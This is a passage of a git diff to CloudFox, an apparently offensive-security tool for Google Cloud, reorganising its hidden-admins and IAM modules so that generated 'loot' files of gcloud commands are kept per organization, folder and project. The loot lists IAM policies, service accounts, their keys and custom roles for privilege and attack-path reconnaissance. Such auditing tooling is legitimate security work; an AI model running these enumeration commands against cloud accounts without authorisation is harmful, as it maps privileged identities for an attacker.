||||
Body: body,
|
||||
})
|
||||
}
|
||||
|
||||
// Wrong admins table
|
||||
wrongBody := m.wrongAdminsToTableBodyForProject(projectID)
|
||||
if len(wrongBody) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "wrong-admins",
|
||||
Header: m.getWrongAdminsHeader(),
|
||||
Body: wrongBody,
|
||||
})
|
||||
}
|
||||
|
||||
return tableFiles
|
||||
}
|
||||
|
||||
@@ -920,9 +847,6 @@ func (m *HiddenAdminsModule) wrongAdminsToTableBody() [][]string {
|
||||
for _, wa := range m.WrongAdmins {
|
||||
// Combine reasons into a single string
|
||||
reasonsStr := strings.Join(wa.Reasons, "; ")
|
||||
if len(reasonsStr) > 100 {
|
||||
reasonsStr = reasonsStr[:97] + "..."
|
||||
}
|
||||
|
||||
projectID := wa.ProjectID
|
||||
if projectID == "" {
|
||||
@@ -940,44 +864,30 @@ func (m *HiddenAdminsModule) wrongAdminsToTableBody() [][]string {
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *HiddenAdminsModule) collectLootFiles() []internal.LootFile {
|
||||
var lootFiles []internal.LootFile
|
||||
for _, loot := range m.LootMap {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
return lootFiles
|
||||
}
|
||||
|
||||
func (m *HiddenAdminsModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
FolderLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
orgID := ""
|
||||
if m.Hierarchy != nil && len(m.Hierarchy.Organizations) > 0 {
|
||||
orgID = m.Hierarchy.Organizations[0].ID
|
||||
} else if len(m.OrgIDs) > 0 {
|
||||
orgID = m.OrgIDs[0]
|
||||
}
|
||||
// Process each specified project
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
// Build tables for this project
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
|
||||
if orgID != "" {
|
||||
tables := m.buildAllTables()
|
||||
lootFiles := m.collectLootFiles()
|
||||
outputData.OrgLevelData[orgID] = HiddenAdminsOutput{Table: tables, Loot: lootFiles}
|
||||
// Generate loot file for this project
|
||||
var lootFiles []internal.LootFile
|
||||
playbook := m.generatePlaybookForProject(projectID)
|
||||
if playbook != nil {
|
||||
lootFiles = append(lootFiles, *playbook)
|
||||
}
|
||||
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
projectTables := m.buildTablesForProject(projectID)
|
||||
if len(projectTables) > 0 && len(projectTables[0].Body) > 0 {
|
||||
outputData.ProjectLevelData[projectID] = HiddenAdminsOutput{Table: projectTables, Loot: nil}
|
||||
}
|
||||
// Add project to output if there's any data
|
||||
if len(tableFiles) > 0 || len(lootFiles) > 0 {
|
||||
outputData.ProjectLevelData[projectID] = HiddenAdminsOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
} else if len(m.ProjectIDs) > 0 {
|
||||
tables := m.buildAllTables()
|
||||
lootFiles := m.collectLootFiles()
|
||||
outputData.ProjectLevelData[m.ProjectIDs[0]] = HiddenAdminsOutput{Table: tables, Loot: lootFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
@@ -990,30 +900,23 @@ func (m *HiddenAdminsModule) writeHierarchicalOutput(ctx context.Context, logger
|
||||
|
||||
func (m *HiddenAdminsModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
tables := m.buildAllTables()
|
||||
lootFiles := m.collectLootFiles()
|
||||
|
||||
// Generate per-project playbooks
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
playbook := m.generatePlaybookForProject(projectID)
|
||||
if playbook != nil {
|
||||
// Rename to include project for flat output
|
||||
playbook.Name = fmt.Sprintf("hidden-admins-commands-%s", projectID)
|
||||
lootFiles = append(lootFiles, *playbook)
|
||||
}
|
||||
}
|
||||
|
||||
output := HiddenAdminsOutput{Table: tables, Loot: lootFiles}
|
||||
|
||||
var scopeType string
|
||||
var scopeIdentifiers []string
|
||||
var scopeNames []string
|
||||
|
||||
if len(m.OrgIDs) > 0 {
|
||||
scopeType = "organization"
|
||||
for _, orgID := range m.OrgIDs {
|
||||
scopeIdentifiers = append(scopeIdentifiers, orgID)
|
||||
if name, ok := m.OrgNames[orgID]; ok && name != "" {
|
||||
scopeNames = append(scopeNames, name)
|
||||
} else {
|
||||
scopeNames = append(scopeNames, orgID)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
scopeType = "project"
|
||||
scopeIdentifiers = m.ProjectIDs
|
||||
for _, id := range m.ProjectIDs {
|
||||
scopeNames = append(scopeNames, m.GetProjectName(id))
|
||||
}
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart(
|
||||
@@ -1022,8 +925,8 @@ func (m *HiddenAdminsModule) writeFlatOutput(ctx context.Context, logger interna
|
||||
m.OutputDirectory,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
scopeType,
|
||||
scopeIdentifiers,
|
||||
"project",
|
||||
m.ProjectIDs,
|
||||
scopeNames,
|
||||
m.Account,
|
||||
output,
|
||||
|
||||
Regular → Executable
+409
-126
@@ -90,9 +90,15 @@ type IAMModule struct {
|
||||
CustomRoles []IAMService.CustomRole
|
||||
Groups []IAMService.GroupInfo
|
||||
MFAStatus map[string]*IAMService.MFAStatus
|
||||
LootMap map[string]*internal.LootFile
|
||||
FoxMapperCache *gcpinternal.FoxMapperCache
|
||||
mu sync.Mutex
|
||||
|
||||
// Per-scope loot for inheritance-aware output
|
||||
OrgLoot map[string]*internal.LootFile // orgID -> loot commands
|
||||
FolderLoot map[string]*internal.LootFile // folderID -> loot commands
|
||||
ProjectLoot map[string]*internal.LootFile // projectID -> loot commands
|
||||
|
||||
FoxMapperCache *gcpinternal.FoxMapperCache
|
||||
OrgCache *gcpinternal.OrgCache
|
||||
mu sync.Mutex
|
||||
|
||||
// Member to groups mapping (email -> list of group emails)
|
||||
MemberToGroups map[string][]string
|
||||
@@ -131,7 +137,9 @@ func runGCPIAMCommand(cmd *cobra.Command, args []string) {
|
||||
CustomRoles: []IAMService.CustomRole{},
|
||||
Groups: []IAMService.GroupInfo{},
|
||||
MFAStatus: make(map[string]*IAMService.MFAStatus),
|
||||
LootMap: make(map[string]*internal.LootFile),
|
||||
OrgLoot: make(map[string]*internal.LootFile),
|
||||
FolderLoot: make(map[string]*internal.LootFile),
|
||||
ProjectLoot: make(map[string]*internal.LootFile),
|
||||
MemberToGroups: make(map[string][]string),
|
||||
OrgIDs: []string{},
|
||||
OrgNames: make(map[string]string),
|
||||
@@ -154,6 +162,9 @@ func (m *IAMModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
logger.InfoM("Using FoxMapper graph data for attack path analysis", globals.GCP_IAM_MODULE_NAME)
|
||||
}
|
||||
|
||||
// Get OrgCache for hierarchy lookups
|
||||
m.OrgCache = gcpinternal.GetOrgCacheFromContext(ctx)
|
||||
|
||||
logger.InfoM("Enumerating IAM across organizations, folders, and projects...", globals.GCP_IAM_MODULE_NAME)
|
||||
|
||||
// Use the enhanced IAM enumeration
|
||||
@@ -221,39 +232,36 @@ func (m *IAMModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
// Loot File Management
|
||||
// ------------------------------
|
||||
func (m *IAMModule) initializeLootFiles() {
|
||||
m.LootMap["iam-commands"] = &internal.LootFile{
|
||||
Name: "iam-commands",
|
||||
Contents: "# GCP IAM Commands\n# Generated by CloudFox\n\n",
|
||||
}
|
||||
m.LootMap["iam-enumeration"] = &internal.LootFile{
|
||||
Name: "iam-enumeration",
|
||||
Contents: "# GCP IAM Enumeration Commands\n# Generated by CloudFox\n# Use these commands to enumerate roles and permissions for identities\n\n",
|
||||
}
|
||||
// Per-scope loot is initialized lazily in addToScopeLoot
|
||||
}
|
||||
|
||||
func (m *IAMModule) generateLoot() {
|
||||
// Track unique service accounts we've seen
|
||||
// Track unique service accounts we've seen per scope
|
||||
sasSeen := make(map[string]bool)
|
||||
|
||||
for _, sb := range m.ScopeBindings {
|
||||
if sb.MemberType != "ServiceAccount" {
|
||||
continue
|
||||
}
|
||||
if sasSeen[sb.MemberEmail] {
|
||||
|
||||
// Create a unique key combining SA email and scope
|
||||
scopeKey := fmt.Sprintf("%s:%s:%s", sb.ScopeType, sb.ScopeID, sb.MemberEmail)
|
||||
if sasSeen[scopeKey] {
|
||||
continue
|
||||
}
|
||||
sasSeen[sb.MemberEmail] = true
|
||||
sasSeen[scopeKey] = true
|
||||
|
||||
// Check for high privilege roles
|
||||
isHighPriv := highPrivilegeRoles[sb.Role]
|
||||
|
||||
var lootContent string
|
||||
if isHighPriv {
|
||||
m.LootMap["iam-commands"].Contents += fmt.Sprintf(
|
||||
lootContent = fmt.Sprintf(
|
||||
"# Service Account: %s [HIGH PRIVILEGE] (%s)\n",
|
||||
sb.MemberEmail, sb.Role,
|
||||
)
|
||||
} else {
|
||||
m.LootMap["iam-commands"].Contents += fmt.Sprintf(
|
||||
lootContent = fmt.Sprintf(
|
||||
"# Service Account: %s\n",
|
||||
sb.MemberEmail,
|
||||
)
|
||||
@@ -265,7 +273,7 @@ func (m *IAMModule) generateLoot() {
|
||||
projectID = m.ProjectIDs[0]
|
||||
}
|
||||
|
||||
m.LootMap["iam-commands"].Contents += fmt.Sprintf(
|
||||
lootContent += fmt.Sprintf(
|
||||
"gcloud iam service-accounts describe %s --project=%s\n"+
|
||||
"gcloud iam service-accounts keys list --iam-account=%s --project=%s\n"+
|
||||
"gcloud iam service-accounts get-iam-policy %s --project=%s\n"+
|
||||
@@ -277,54 +285,119 @@ func (m *IAMModule) generateLoot() {
|
||||
sb.MemberEmail, projectID,
|
||||
sb.MemberEmail,
|
||||
)
|
||||
|
||||
// Route loot to appropriate scope
|
||||
m.addToScopeLoot(sb.ScopeType, sb.ScopeID, "iam-commands", lootContent)
|
||||
}
|
||||
|
||||
// Add service accounts with keys
|
||||
// Add service accounts with keys (project-level)
|
||||
for _, sa := range m.ServiceAccounts {
|
||||
if sa.HasKeys {
|
||||
m.LootMap["iam-commands"].Contents += fmt.Sprintf(
|
||||
lootContent := fmt.Sprintf(
|
||||
"# Service Account with Keys: %s (Keys: %d)\n"+
|
||||
"gcloud iam service-accounts keys list --iam-account=%s --project=%s\n\n",
|
||||
sa.Email, sa.KeyCount, sa.Email, sa.ProjectID,
|
||||
)
|
||||
m.addToScopeLoot("project", sa.ProjectID, "iam-commands", lootContent)
|
||||
}
|
||||
}
|
||||
|
||||
// Add custom roles
|
||||
// Add custom roles (project-level)
|
||||
for _, role := range m.CustomRoles {
|
||||
m.LootMap["iam-commands"].Contents += fmt.Sprintf(
|
||||
lootContent := fmt.Sprintf(
|
||||
"# Custom Role: %s (%d permissions)\n"+
|
||||
"gcloud iam roles describe %s --project=%s\n\n",
|
||||
role.Title, role.PermissionCount,
|
||||
extractRoleName(role.Name), role.ProjectID,
|
||||
)
|
||||
m.addToScopeLoot("project", role.ProjectID, "iam-commands", lootContent)
|
||||
}
|
||||
|
||||
// Generate IAM enumeration commands
|
||||
m.generateEnumerationLoot()
|
||||
}
|
||||
|
||||
func (m *IAMModule) generateEnumerationLoot() {
|
||||
loot := m.LootMap["iam-enumeration"]
|
||||
// addToScopeLoot adds loot content to the appropriate scope-level loot file
|
||||
func (m *IAMModule) addToScopeLoot(scopeType, scopeID, lootName, content string) {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
|
||||
var lootMap map[string]*internal.LootFile
|
||||
switch scopeType {
|
||||
case "organization":
|
||||
lootMap = m.OrgLoot
|
||||
case "folder":
|
||||
lootMap = m.FolderLoot
|
||||
case "project":
|
||||
lootMap = m.ProjectLoot
|
||||
default:
|
||||
return
|
||||
}
|
||||
|
||||
key := scopeID + ":" + lootName
|
||||
if lootMap[key] == nil {
|
||||
lootMap[key] = &internal.LootFile{
|
||||
Name: lootName,
|
||||
Contents: "# GCP IAM Commands\n# Generated by CloudFox\n\n",
|
||||
}
|
||||
}
|
||||
lootMap[key].Contents += content
|
||||
}
|
||||
|
||||
func (m *IAMModule) generateEnumerationLoot() {
|
||||
// Add organization-level enumeration commands
|
||||
for _, orgID := range m.OrgIDs {
|
||||
orgName := m.OrgNames[orgID]
|
||||
loot.Contents += fmt.Sprintf("# =====================================================\n")
|
||||
loot.Contents += fmt.Sprintf("# Organization: %s (%s)\n", orgName, orgID)
|
||||
loot.Contents += fmt.Sprintf("# =====================================================\n\n")
|
||||
var lootContent string
|
||||
lootContent += fmt.Sprintf("# =====================================================\n")
|
||||
lootContent += fmt.Sprintf("# Organization: %s (%s)\n", orgName, orgID)
|
||||
lootContent += fmt.Sprintf("# =====================================================\n\n")
|
||||
|
||||
loot.Contents += fmt.Sprintf("# List all IAM bindings for organization\n")
|
||||
loot.Contents += fmt.Sprintf("gcloud organizations get-iam-policy %s --format=json\n\n", orgID)
|
||||
lootContent += fmt.Sprintf("# List all IAM bindings for organization\n")
|
||||
lootContent += fmt.Sprintf("gcloud organizations get-iam-policy %s --format=json\n\n", orgID)
|
||||
|
||||
loot.Contents += fmt.Sprintf("# List all roles assigned at organization level\n")
|
||||
loot.Contents += fmt.Sprintf("gcloud organizations get-iam-policy %s --format=json | jq -r '.bindings[].role' | sort -u\n\n", orgID)
|
||||
lootContent += fmt.Sprintf("# List all roles assigned at organization level\n")
|
||||
lootContent += fmt.Sprintf("gcloud organizations get-iam-policy %s --format=json | jq -r '.bindings[].role' | sort -u\n\n", orgID)
|
||||
|
||||
loot.Contents += fmt.Sprintf("# List all members with their roles at organization level\n")
|
||||
loot.Contents += fmt.Sprintf("gcloud organizations get-iam-policy %s --format=json | jq -r '.bindings[] | \"\\(.role): \\(.members[])\"'\n\n", orgID)
|
||||
lootContent += fmt.Sprintf("# List all members with their roles at organization level\n")
|
||||
lootContent += fmt.Sprintf("gcloud organizations get-iam-policy %s --format=json | jq -r '.bindings[] | \"\\(.role): \\(.members[])\"'\n\n", orgID)
|
||||
|
||||
m.addToScopeLoot("organization", orgID, "iam-enumeration", lootContent)
|
||||
}
|
||||
|
||||
// Track unique identities for enumeration commands
|
||||
// Add project-level enumeration commands
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
projectName := m.GetProjectName(projectID)
|
||||
var lootContent string
|
||||
lootContent += fmt.Sprintf("# =====================================================\n")
|
||||
lootContent += fmt.Sprintf("# Project: %s (%s)\n", projectName, projectID)
|
||||
lootContent += fmt.Sprintf("# =====================================================\n\n")
|
||||
|
||||
lootContent += fmt.Sprintf("# List all IAM bindings for project\n")
|
||||
lootContent += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json\n\n", projectID)
|
||||
|
||||
lootContent += fmt.Sprintf("# List all roles assigned at project level\n")
|
||||
lootContent += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[].role' | sort -u\n\n", projectID)
|
||||
|
||||
lootContent += fmt.Sprintf("# List all members with their roles at project level\n")
|
||||
lootContent += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[] | \"\\(.role): \\(.members[])\"'\n\n", projectID)
|
||||
|
||||
lootContent += fmt.Sprintf("# Find all roles for a specific user (replace USER_EMAIL)\n")
|
||||
lootContent += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[] | select(.members[] | contains(\"USER_EMAIL\")) | .role'\n\n", projectID)
|
||||
|
||||
lootContent += fmt.Sprintf("# Find all roles for a specific service account (replace SA_EMAIL)\n")
|
||||
lootContent += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[] | select(.members[] | contains(\"SA_EMAIL\")) | .role'\n\n", projectID)
|
||||
|
||||
lootContent += fmt.Sprintf("# List all service accounts in project\n")
|
||||
lootContent += fmt.Sprintf("gcloud iam service-accounts list --project=%s --format=json\n\n", projectID)
|
||||
|
||||
lootContent += fmt.Sprintf("# List all custom roles in project\n")
|
||||
lootContent += fmt.Sprintf("gcloud iam roles list --project=%s --format=json\n\n", projectID)
|
||||
|
||||
m.addToScopeLoot("project", projectID, "iam-enumeration", lootContent)
|
||||
}
|
||||
|
||||
// Track unique identities for enumeration commands - add to project level
|
||||
identitiesSeen := make(map[string]bool)
|
||||
type identityInfo struct {
|
||||
email string
|
||||
@@ -364,74 +437,30 @@ func (m *IAMModule) generateEnumerationLoot() {
|
||||
}
|
||||
}
|
||||
|
||||
// Add project-level enumeration commands
|
||||
// Add identity-specific enumeration commands per project
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
projectName := m.GetProjectName(projectID)
|
||||
loot.Contents += fmt.Sprintf("# =====================================================\n")
|
||||
loot.Contents += fmt.Sprintf("# Project: %s (%s)\n", projectName, projectID)
|
||||
loot.Contents += fmt.Sprintf("# =====================================================\n\n")
|
||||
var lootContent string
|
||||
lootContent += fmt.Sprintf("# =====================================================\n")
|
||||
lootContent += fmt.Sprintf("# Identity-Specific Enumeration Commands\n")
|
||||
lootContent += fmt.Sprintf("# =====================================================\n\n")
|
||||
|
||||
loot.Contents += fmt.Sprintf("# List all IAM bindings for project\n")
|
||||
loot.Contents += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json\n\n", projectID)
|
||||
|
||||
loot.Contents += fmt.Sprintf("# List all roles assigned at project level\n")
|
||||
loot.Contents += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[].role' | sort -u\n\n", projectID)
|
||||
|
||||
loot.Contents += fmt.Sprintf("# List all members with their roles at project level\n")
|
||||
loot.Contents += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[] | \"\\(.role): \\(.members[])\"'\n\n", projectID)
|
||||
|
||||
loot.Contents += fmt.Sprintf("# Find all roles for a specific user (replace USER_EMAIL)\n")
|
||||
loot.Contents += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[] | select(.members[] | contains(\"USER_EMAIL\")) | .role'\n\n", projectID)
|
||||
|
||||
loot.Contents += fmt.Sprintf("# Find all roles for a specific service account (replace SA_EMAIL)\n")
|
||||
loot.Contents += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[] | select(.members[] | contains(\"SA_EMAIL\")) | .role'\n\n", projectID)
|
||||
|
||||
loot.Contents += fmt.Sprintf("# List all service accounts in project\n")
|
||||
loot.Contents += fmt.Sprintf("gcloud iam service-accounts list --project=%s --format=json\n\n", projectID)
|
||||
|
||||
loot.Contents += fmt.Sprintf("# List all custom roles in project\n")
|
||||
loot.Contents += fmt.Sprintf("gcloud iam roles list --project=%s --format=json\n\n", projectID)
|
||||
}
|
||||
|
||||
// Add identity-specific enumeration commands
|
||||
loot.Contents += fmt.Sprintf("# =====================================================\n")
|
||||
loot.Contents += fmt.Sprintf("# Identity-Specific Enumeration Commands\n")
|
||||
loot.Contents += fmt.Sprintf("# =====================================================\n\n")
|
||||
|
||||
for email, info := range identities {
|
||||
if info.memberType == "ServiceAccount" {
|
||||
loot.Contents += fmt.Sprintf("# Service Account: %s\n", email)
|
||||
// Extract project from SA email
|
||||
saProject := ""
|
||||
parts := strings.Split(email, "@")
|
||||
if len(parts) == 2 {
|
||||
saParts := strings.Split(parts[1], ".")
|
||||
if len(saParts) >= 1 {
|
||||
saProject = saParts[0]
|
||||
}
|
||||
for email, info := range identities {
|
||||
if info.memberType == "ServiceAccount" {
|
||||
lootContent += fmt.Sprintf("# Service Account: %s\n", email)
|
||||
lootContent += fmt.Sprintf("# Find all roles for this service account\n")
|
||||
lootContent += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[] | select(.members[] | contains(\"%s\")) | .role'\n\n", projectID, email)
|
||||
} else if info.memberType == "User" {
|
||||
lootContent += fmt.Sprintf("# User: %s\n", email)
|
||||
lootContent += fmt.Sprintf("# Find all roles for this user\n")
|
||||
lootContent += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[] | select(.members[] | contains(\"%s\")) | .role'\n\n", projectID, email)
|
||||
} else if info.memberType == "Group" {
|
||||
lootContent += fmt.Sprintf("# Group: %s\n", email)
|
||||
lootContent += fmt.Sprintf("# Find all roles for this group\n")
|
||||
lootContent += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[] | select(.members[] | contains(\"%s\")) | .role'\n\n", projectID, email)
|
||||
}
|
||||
if saProject != "" {
|
||||
loot.Contents += fmt.Sprintf("# Find all roles for this service account across all projects\n")
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
loot.Contents += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[] | select(.members[] | contains(\"%s\")) | .role'\n", projectID, email)
|
||||
}
|
||||
loot.Contents += "\n"
|
||||
}
|
||||
} else if info.memberType == "User" {
|
||||
loot.Contents += fmt.Sprintf("# User: %s\n", email)
|
||||
loot.Contents += fmt.Sprintf("# Find all roles for this user across all projects\n")
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
loot.Contents += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[] | select(.members[] | contains(\"%s\")) | .role'\n", projectID, email)
|
||||
}
|
||||
loot.Contents += "\n"
|
||||
} else if info.memberType == "Group" {
|
||||
loot.Contents += fmt.Sprintf("# Group: %s\n", email)
|
||||
loot.Contents += fmt.Sprintf("# Find all roles for this group across all projects\n")
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
loot.Contents += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[] | select(.members[] | contains(\"%s\")) | .role'\n", projectID, email)
|
||||
}
|
||||
loot.Contents += "\n"
|
||||
}
|
||||
|
||||
m.addToScopeLoot("project", projectID, "iam-enumeration", lootContent)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -621,7 +650,7 @@ func (m *IAMModule) buildTables() []internal.TableFile {
|
||||
"Entry Type",
|
||||
"Identity",
|
||||
"Role",
|
||||
"High Privilege",
|
||||
"Admin",
|
||||
"Custom Role",
|
||||
"Has Keys",
|
||||
"Condition",
|
||||
@@ -635,9 +664,11 @@ func (m *IAMModule) buildTables() []internal.TableFile {
|
||||
|
||||
// Add scope bindings (one row per binding)
|
||||
for _, sb := range m.ScopeBindings {
|
||||
isHighPriv := "No"
|
||||
if highPrivilegeRoles[sb.Role] {
|
||||
isHighPriv = "Yes"
|
||||
// Check admin status from FoxMapper only - shows Org/Folder/Project or No
|
||||
// This is different from "high privilege roles" - Admin means broad IAM control
|
||||
adminStatus := gcpinternal.GetAdminStatusFromCache(m.FoxMapperCache, sb.MemberEmail)
|
||||
if adminStatus == "" {
|
||||
adminStatus = "No"
|
||||
}
|
||||
|
||||
isCustom := "No"
|
||||
@@ -689,7 +720,7 @@ func (m *IAMModule) buildTables() []internal.TableFile {
|
||||
sb.MemberType,
|
||||
sb.MemberEmail,
|
||||
sb.Role,
|
||||
isHighPriv,
|
||||
adminStatus,
|
||||
isCustom,
|
||||
"-",
|
||||
condition,
|
||||
@@ -718,6 +749,12 @@ func (m *IAMModule) buildTables() []internal.TableFile {
|
||||
groups = strings.Join(memberGroups, ", ")
|
||||
}
|
||||
|
||||
// Check admin status from FoxMapper
|
||||
adminStatus := gcpinternal.GetAdminStatusFromCache(m.FoxMapperCache, sa.Email)
|
||||
if adminStatus == "" {
|
||||
adminStatus = "No"
|
||||
}
|
||||
|
||||
// Check attack paths for this service account
|
||||
attackPaths := gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, sa.Email)
|
||||
|
||||
@@ -728,7 +765,7 @@ func (m *IAMModule) buildTables() []internal.TableFile {
|
||||
"ServiceAccountInfo",
|
||||
sa.Email + disabled,
|
||||
sa.DisplayName,
|
||||
"-",
|
||||
adminStatus,
|
||||
"-",
|
||||
hasKeys,
|
||||
"-",
|
||||
@@ -776,9 +813,132 @@ func (m *IAMModule) buildTables() []internal.TableFile {
|
||||
return tables
|
||||
}
|
||||
|
||||
func (m *IAMModule) collectLootFiles() []internal.LootFile {
|
||||
// collectAllLootFiles collects all loot files from all scopes for org-level output.
|
||||
// This merges loot by name (iam-commands, iam-enumeration) across all scopes.
|
||||
func (m *IAMModule) collectAllLootFiles() []internal.LootFile {
|
||||
// Merge loot by name across all scopes
|
||||
mergedLoot := make(map[string]*internal.LootFile)
|
||||
|
||||
// Helper to add loot content
|
||||
addLoot := func(lootMap map[string]*internal.LootFile) {
|
||||
for key, loot := range lootMap {
|
||||
// Key format is "scopeID:lootName"
|
||||
parts := strings.SplitN(key, ":", 2)
|
||||
if len(parts) != 2 {
|
||||
continue
|
||||
}
|
||||
lootName := parts[1]
|
||||
|
||||
if mergedLoot[lootName] == nil {
|
||||
mergedLoot[lootName] = &internal.LootFile{
|
||||
Name: lootName,
|
||||
Contents: "",
|
||||
}
|
||||
}
|
||||
// Avoid duplicate headers
|
||||
content := loot.Contents
|
||||
if strings.HasPrefix(content, "# GCP IAM") {
|
||||
// Skip header if already present
|
||||
if mergedLoot[lootName].Contents == "" {
|
||||
// First entry, keep header
|
||||
} else {
|
||||
// Strip header from subsequent entries
|
||||
lines := strings.SplitN(content, "\n\n", 2)
|
||||
if len(lines) > 1 {
|
||||
content = lines[1]
|
||||
}
|
||||
}
|
||||
}
|
||||
mergedLoot[lootName].Contents += content
|
||||
}
|
||||
}
|
||||
|
||||
// Add in order: org, folder, project
|
||||
addLoot(m.OrgLoot)
|
||||
addLoot(m.FolderLoot)
|
||||
addLoot(m.ProjectLoot)
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
for _, loot := range m.LootMap {
|
||||
for _, loot := range mergedLoot {
|
||||
if loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
return lootFiles
|
||||
}
|
||||
|
||||
// collectLootFilesForProject returns loot files for a specific project with inheritance.
|
||||
// This includes org-level loot + ancestor folder loot + project-level loot.
|
||||
func (m *IAMModule) collectLootFilesForProject(projectID string) []internal.LootFile {
|
||||
// Get ancestry for this project
|
||||
var projectOrgID string
|
||||
var ancestorFolders []string
|
||||
if m.OrgCache != nil && m.OrgCache.IsPopulated() {
|
||||
projectOrgID = m.OrgCache.GetProjectOrgID(projectID)
|
||||
ancestorFolders = m.OrgCache.GetProjectAncestorFolders(projectID)
|
||||
}
|
||||
|
||||
// Merge loot by name
|
||||
mergedLoot := make(map[string]*internal.LootFile)
|
||||
|
||||
// Helper to add loot content
|
||||
addLoot := func(key string, loot *internal.LootFile) {
|
||||
parts := strings.SplitN(key, ":", 2)
|
||||
if len(parts) != 2 {
|
||||
return
|
||||
}
|
||||
lootName := parts[1]
|
||||
|
||||
if mergedLoot[lootName] == nil {
|
||||
mergedLoot[lootName] = &internal.LootFile{
|
||||
Name: lootName,
|
||||
Contents: "",
|
||||
}
|
||||
}
|
||||
// Avoid duplicate headers
|
||||
content := loot.Contents
|
||||
if strings.HasPrefix(content, "# GCP IAM") {
|
||||
if mergedLoot[lootName].Contents == "" {
|
||||
// First entry, keep header
|
||||
} else {
|
||||
// Strip header from subsequent entries
|
||||
lines := strings.SplitN(content, "\n\n", 2)
|
||||
if len(lines) > 1 {
|
||||
content = lines[1]
|
||||
}
|
||||
}
|
||||
}
|
||||
mergedLoot[lootName].Contents += content
|
||||
}
|
||||
|
||||
// Add org-level loot
|
||||
if projectOrgID != "" {
|
||||
for key, loot := range m.OrgLoot {
|
||||
if strings.HasPrefix(key, projectOrgID+":") {
|
||||
addLoot(key, loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add ancestor folder loot (in order from top to bottom)
|
||||
for i := len(ancestorFolders) - 1; i >= 0; i-- {
|
||||
folderID := ancestorFolders[i]
|
||||
for key, loot := range m.FolderLoot {
|
||||
if strings.HasPrefix(key, folderID+":") {
|
||||
addLoot(key, loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add project-level loot
|
||||
for key, loot := range m.ProjectLoot {
|
||||
if strings.HasPrefix(key, projectID+":") {
|
||||
addLoot(key, loot)
|
||||
}
|
||||
}
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
for _, loot := range mergedLoot {
|
||||
if loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
@@ -787,11 +947,6 @@ func (m *IAMModule) collectLootFiles() []internal.LootFile {
|
||||
}
|
||||
|
||||
func (m *IAMModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Determine org ID - prefer discovered orgs, fall back to hierarchy
|
||||
orgID := ""
|
||||
if len(m.OrgIDs) > 0 {
|
||||
@@ -800,23 +955,40 @@ func (m *IAMModule) writeHierarchicalOutput(ctx context.Context, logger internal
|
||||
orgID = m.Hierarchy.Organizations[0].ID
|
||||
}
|
||||
|
||||
lootFiles := m.collectAllLootFiles()
|
||||
tables := m.buildTables()
|
||||
|
||||
// Check if we should use single-pass tee streaming for large datasets
|
||||
